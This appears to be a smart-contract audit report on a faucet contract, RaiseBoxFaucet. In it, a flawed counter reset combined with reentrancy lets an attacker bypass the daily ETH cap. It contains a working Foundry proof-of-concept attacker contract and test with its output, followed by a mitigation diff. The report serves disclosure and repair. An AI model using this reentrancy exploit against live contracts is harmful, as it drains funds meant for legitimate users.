Description
Normal Behavior:
The RaiseBoxFaucet contract is designed to distribute a limited amount of Sepolia ETH to first-time users each day, governed by the dailySepEthCap state variable. The amount of ETH distributed is tracked by the dailyDrips counter, which should only reset at the beginning of a new day.
The Issue:
The claimFaucetTokens() function contains two vulnerabilities that, when combined, allow for the complete bypass of the daily ETH cap:
Incorrect State Reset: The logic contains an else branch that incorrectly resets the dailyDrips counter to zero whenever a claim is made by a user who is not eligible for an ETH drip (e.g., a returning user).
Reentrancy Vulnerability: The function transfers ETH using a low-level .call{value: ...} before all state changes are finalized (specifically, before lastClaimTime is updated). This violates the Checks-Effects-Interactions pattern and opens the door to a reentrancy attack.
An attacker can exploit this by deploying a smart contract that calls claimFaucetTokens(). When the faucet sends ETH to the attacker's contract, its receive() function is triggered, which re-enters the claimFaucetTokens() function.
On the re-entrant call, hasClaimedEth for the attacker contract is already true. This causes the execution to hit the flawed else branch, resetting dailyDrips to 0 immediately. The attacker can repeat this process by deploying new attacker contracts, allowing them to facilitate the draining of significantly more ETH than the dailySepEthCap allows within a single day.
function claimFaucetTokens() public {
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
}
} else {
@> dailyDrips = 0;
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
}
Risk
Likelihood: High
Impact: High
The dailySepEthCap safeguard is rendered completely ineffective. An attacker can repeatedly reset the daily drip counter, enabling them and other users to drain a much larger amount of the contract's ETH balance than intended. This depletes funds meant for legitimate new users and undermines a core security mechanism of the faucet.
Proof of Concept (PoC)
The following Foundry test demonstrates how an attacker can use a contract to re-enter claimFaucetTokens() and reset the dailyDrips counter, allowing the daily ETH cap to be bypassed multiple times.
PoC Test Code (test/EthCapBypass_Reentrancy.t.sol):
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract AttackClaimer {
RaiseBoxFaucet public faucet;
constructor(RaiseBoxFaucet _faucet) {
faucet = _faucet;
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
faucet.claimFaucetTokens();
}
}
contract EthCapBypassReentrancyTest is Test {
RaiseBoxFaucet internal faucet;
uint256 internal sepEthDripAmount;
uint256 internal dailyEthCap;
function setUp() public {
dailyEthCap = 0.015 ether;
sepEthDripAmount = 0.005 ether;
faucet = new RaiseBoxFaucet(
"raiseboxtoken",
"RB",
1000 * 10 ** 18,
sepEthDripAmount,
dailyEthCap
);
vm.deal(address(faucet), 10 ether);
vm.warp(block.timestamp + 3 days + 1);
}
function test_BypassDailyEthCap_WithReentrancyResets() public {
console.log("--- Begin realistic ETH cap bypass via reentrancy ---");
console.log("Daily ETH cap:", dailyEthCap);
console.log("ETH per claim:", sepEthDripAmount);
uint256 totalEthToNewUsers;
for (uint256 i = 0; i < 5; i++) {
address newUser = address(uint160(1000 + i));
vm.prank(newUser);
faucet.claimFaucetTokens();
totalEthToNewUsers += sepEthDripAmount;
console.log("New user claim #%d; dailyDrips:", i + 1, faucet.dailyDrips());
assertEq(newUser.balance, sepEthDripAmount, "New user should receive ETH drip");
AttackClaimer attacker = new AttackClaimer(faucet);
attacker.attack();
uint256 dripsNow = faucet.dailyDrips();
console.log("Attacker reentrancy executed; dailyDrips now:", dripsNow);
assertEq(dripsNow, 0, "dailyDrips must reset to zero due to else-branch");
assertEq(address(attacker).balance, sepEthDripAmount, "Attacker contract should receive ETH once");
}
console.log("Total ETH distributed to new users:", totalEthToNewUsers);
assertTrue(
totalEthToNewUsers > dailyEthCap,
"Total ETH to new users should exceed the daily cap due to resets"
);
console.log("--- Attack succeeded: ETH distributed exceeded daily cap in one day ---");
}
}
Test Execution and Results:
forge test --match-path test/EthCapBypass_Reentrancy.t.sol -vv
The test passes, and the logs confirm that dailyDrips is reset to 0 after each attacker's claim. This allows a total of 0.025 ether to be distributed to new users, successfully bypassing the 0.015 ether daily cap.
[PASS] test_BypassDailyEthCap_WithReentrancyResets() (gas: 2095572)
Logs:
--- Begin realistic ETH cap bypass via reentrancy ---
Daily ETH cap: 15000000000000000
ETH per claim: 5000000000000000
New user claim
Attacker reentrancy executed; dailyDrips now: 0
New user claim
Attacker reentrancy executed; dailyDrips now: 0
New user claim
Attacker reentrancy executed; dailyDrips now: 0
New user claim
Attacker reentrancy executed; dailyDrips now: 0
New user claim
Attacker reentrancy executed; dailyDrips now: 0
Total ETH distributed to new users: 25000000000000000
--- Attack succeeded: ETH distributed exceeded daily cap in one day ---
Recommended Mitigation
A multi-pronged approach is recommended to fix this vulnerability:
-
Remove the Flawed Reset Logic: The primary fix is to remove the else branch that incorrectly resets dailyDrips. The counter should only be reset at the beginning of a new day.
-
Implement a Reentrancy Guard: To prevent this and other potential reentrancy attacks, use a well-audited reentrancy guard (like OpenZeppelin's ReentrancyGuard) and apply the nonReentrant modifier to the claimFaucetTokens() function.
-
Adhere to Checks-Effects-Interactions: As a best practice, all state changes (Effects) should be made before external calls (Interactions). The lastClaimTime update should be moved before the ETH transfer.
Mitigation Diff:
// src/RaiseBoxFaucet.sol
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// ... (Reset logic for dailyClaimCount as per H-01 fix)
// ... (Checks)
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) {
revert RaiseBoxFaucet_EthTransferFailed();
}
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
- } else {
- dailyDrips = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
// ...
}
This combined fix removes the incorrect reset, prevents reentrancy, and makes the contract significantly more secure.